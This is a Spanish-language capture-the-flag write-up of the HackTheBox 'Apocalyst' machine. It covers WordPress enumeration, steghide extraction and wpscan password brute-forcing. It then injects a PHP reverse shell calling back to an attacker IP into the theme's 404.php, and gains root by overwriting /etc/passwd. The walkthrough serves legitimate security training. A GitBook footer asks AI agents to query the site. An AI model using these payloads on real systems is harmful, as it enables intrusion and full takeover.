> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md).

# Resolución de HackTheBox Apocalyst

{% embed url="<https://app.hackthebox.com/machines/Apocalyst>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración de WordPress
* Desafío de estego de imágenes - Steghide
* Fuga de información - Enumeración de usuarios
* Explotación de WordPress - Editor de temas (RCE)
* Abuso de permisos mal configurados (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/68c1b54f52f7d4f564f03cf54af4a9d8bc920aa1" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/21bb392a19664c8cffbfbce437d2ef2d3de2cf9d" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.46 -oG allPorts
```

<figure><img src="/files/d91c87df610f67f3144fba20f5757e6e96a3d744" alt=""><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap (22.80):**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p22,80 10.10.10.46 -oN targeted
```

<figure><img src="/files/fbb25bb517088ac423cdc424e2213a2e82f1001b" alt=""><figcaption></figcaption></figure>

Detectamos un sitio WordPress, pero la resolución del dominio está configurada incorrectamente.

<figure><img src="/files/447ffb63f4f13e6a630296bd3b2336982fc1880b" alt=""><figcaption></figcaption></figure>

Añadimos la siguiente entrada a */etc/hosts*:

<figure><img src="/files/30c06cd7fbc2efcb93cda7cc7d8833ca2c42b313" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7b7278e87388257f3500007c6ad0f48c63defa2c" alt="" width="563"><figcaption></figcaption></figure>

## **Exploración del sitio WordPress**

<figure><img src="/files/553b7c4827655814d273dc762812f712f9119c5b" alt=""><figcaption></figcaption></figure>

#### **Identificar un usuario válido**

Encontramos un usuario válido: **falaraki**.

<figure><img src="/files/58dc19b348f3ca28ff19e9aeeccf3a52f1290b55" alt="" width="563"><figcaption></figcaption></figure>

#### **Explotación de SSH**

Dado que la versión de SSH está obsoleta, podemos usar un exploit para validar al usuario en el sistema:

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="/files/a69a970ce89a945ee9273dff97e9c1bee7f92220" alt=""><figcaption></figcaption></figure>

Validar que el usuario exista:

```bash
python2 ssh_enumeration.py 10.10.10.46 falaraki 2>/dev/null
```

<figure><img src="/files/7dbc101374c202402ba23424048709d735b1159c" alt=""><figcaption></figcaption></figure>

#### Entonces, para WordPress:

<figure><img src="/files/e8cc2a0e0659b73fe5bd8f0b7a103647668c2317" alt=""><figcaption></figcaption></figure>

### **Listado de WordPress**

Usamos *wfuzz* para buscar directorios interesantes:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

Este escaneo detecta varias páginas que devuelven un código 301, redirigiendo a una imagen.

<figure><img src="/files/a10f154d8e56029b68c46fb07893aab391e61155" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/e2873ea7599d6efb4c15e47f054493a38495e855" alt=""><figcaption></figcaption></figure>

Luego filtramos por la longitud del texto (157):

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ --hh=157 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt --hc=404 -t 200 -L
```

{% endcode %}

No hay resultados interesantes.

<figure><img src="/files/a67f448da724769dfabb39e3c4c7e2d1ddff1dc7" alt=""><figcaption></figcaption></figure>

### **Creación de diccionario personalizado - CEWL** <a href="#custom-dictionary" id="custom-dictionary"></a>

Generamos un diccionario basado en el sitio web:

<figure><img src="/files/2a410c4a491bdbd4c8e8cb0fdf02015f34787c81" alt=""><figcaption></figcaption></figure>

Utilice **Cewl** para generar un diccionario basado en el sitio web:

```bash
cewl -w list.txt http://apocalyst.htb/
```

<figure><img src="/files/d258ec35c73fd5116eab2041b65b1d8176c9ca48" alt=""><figcaption></figcaption></figure>

Nuevo reconocimiento con *wfuzz*:

{% code overflow="wrap" %}

```bash
wfuzz -u http://apocalyst.htb/FUZZ -w list.txt --hh=157 --hc=404 -t 200 -L
```

{% endcode %}

Encontramos el **`Rectitud`** directorio.

<figure><img src="/files/a6bf402e1b78eb8e16256101302225277eb8dea6" alt=""><figcaption></figcaption></figure>

### **Análisis de esteganografía con Steghide**

Guardamos la imagen y la analizamos:

1. Comprobando si la imagen contiene datos ocultos:

<figure><img src="/files/fc367e9db51eb02d5c669965542f1f0ff6c05918" alt=""><figcaption></figcaption></figure>

Comprobando si la imagen contiene datos ocultos:

```bash
steghide info image.jpg
```

<figure><img src="/files/5d62d81a1108a725fc10c9aa00b9340bc7a2ae95" alt="" width="563"><figcaption></figcaption></figure>

Extracción de datos ocultos:

```bash
steghide extract -sf image.jpg
```

<figure><img src="/files/6eb6c89646d90b685470f24c2ec51840829ac474" alt="" width="563"><figcaption></figcaption></figure>

Un *list.txt* se genera un archivo que contiene palabras

<figure><img src="/files/a47cafcfc613ce2e2a4fec5305f566e2a4356504" alt=""><figcaption></figcaption></figure>

### **Ataque de fuerza bruta contra WordPress**

<table data-full-width="false"><thead><tr><th data-type="content-ref"></th></tr></thead><tbody><tr><td><a href="/pages/78561c10b30c9b00b4a8cdb3e6c39fb765624fc5">/pages/78561c10b30c9b00b4a8cdb3e6c39fb765624fc5</a></td></tr></tbody></table>

<figure><img src="/files/74eb990f1f40185941357ef91acd10c8ac58c893" alt=""><figcaption></figcaption></figure>

Lanzamos un ataque de fuerza bruta con *wpscan*, aprovechando *xmlrpc.php* que está activo:

```bash
wpscan --url http://apocalyst.htb -U falaraki -P list.txt
```

Encontramos **falaraki**contraseña de **Transclisiation**.

<figure><img src="/files/0a506d69aecde4a0313337cc5a185648e4ff4c41" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/80c5ca132ff9753196cb8606a59f0dcd4cabd3bc" alt=""><figcaption></figcaption></figure>

### **Explotación de WordPress - Ejecución remota de código (RCE)**

<figure><img src="/files/c6dfb6189f2b602022a3ae131c0127a601d63db0" alt=""><figcaption></figcaption></figure>

Modificamos el *404.php* archivo e inyectar una reverse shell en él:

```php
<?php
system("bash -c 'bash -i >& /dev/tcp/10.10.14.50/443 0>&1'")
?>
```

Escuchando en el puerto 443:

```bash
nc -nvlp 443
```

<figure><img src="/files/38c19950aa92e4ef7080baa52b5f1cedfd053d24" alt=""><figcaption></figcaption></figure>

Ejecutando la shell mediante *curl*:

```bash
curl -s -X GET "http://apocalyst.htb/?p=404.php"
```

<figure><img src="/files/305fe8047e0f118646157229c1a56e7776361132" alt=""><figcaption></figcaption></figure>

#### Sesión de shell mejorada:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Bandera user.txt :)

<figure><img src="/files/d097ab6c96dbc00accdf19c339ab45a441d047cb" alt="" width="563"><figcaption></figcaption></figure>

## **Escalada de privilegios**

### **Gestión de permisos (`/etc/passwd`)**

```bash
find / -writable 2>/dev/null | grep -vE "/dev|tmp|var|run|lib|proc|sys"
```

Vemos que */etc/passwd* es editable.

<figure><img src="/files/a16169cbb2fe6e4b5d56e56548db2837ee76145e" alt=""><figcaption></figcaption></figure>

Creación de una contraseña cifrada con OpenSSL:

```
openssl passwd -1 -salt WylYIBz9 jordan
```

<figure><img src="/files/a1d5838fea60cffbbccc3be9da21ec603c5d5f63" alt=""><figcaption></figcaption></figure>

Lo que genera:

* $1$WylYIBz9$3sZ.Aikcts/jZIpgmvnck/

Reemplazamos la línea root en */etc/passwd* con nuestro hash.

<figure><img src="/files/d95cb3f2069827a93b426a7a7cf9c6b02466c861" alt=""><figcaption></figcaption></figure>

Iniciar sesión como root:

<figure><img src="/files/a7483817084cf7141f5d2a2c0293ca63eaf1f8be" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="/files/87884e1c2b7c9eeaa88bd3298d2fc4ddcac39951" alt="" width="545"><figcaption></figcaption></figure>

<figure><img src="/files/44ea5c55dcefcec7220db3e4fdfb9c89df8657a6" alt="" width="517"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/apocalyst-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
